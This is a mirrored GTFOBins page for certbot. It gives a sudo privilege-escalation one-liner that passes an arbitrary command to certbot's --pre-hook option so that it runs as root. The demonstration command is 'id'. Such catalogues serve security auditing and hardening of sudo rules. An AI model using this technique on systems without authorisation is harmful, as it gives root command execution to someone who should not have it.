1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/certbot.md

10 lines
452 B
Markdown
Raw Normal View History

2021-04-01 17:18:35 +02:00
---
functions:
sudo:
- description: A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output.
code: |
COMMAND='id'
TF=$(mktemp -d)
sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND"
---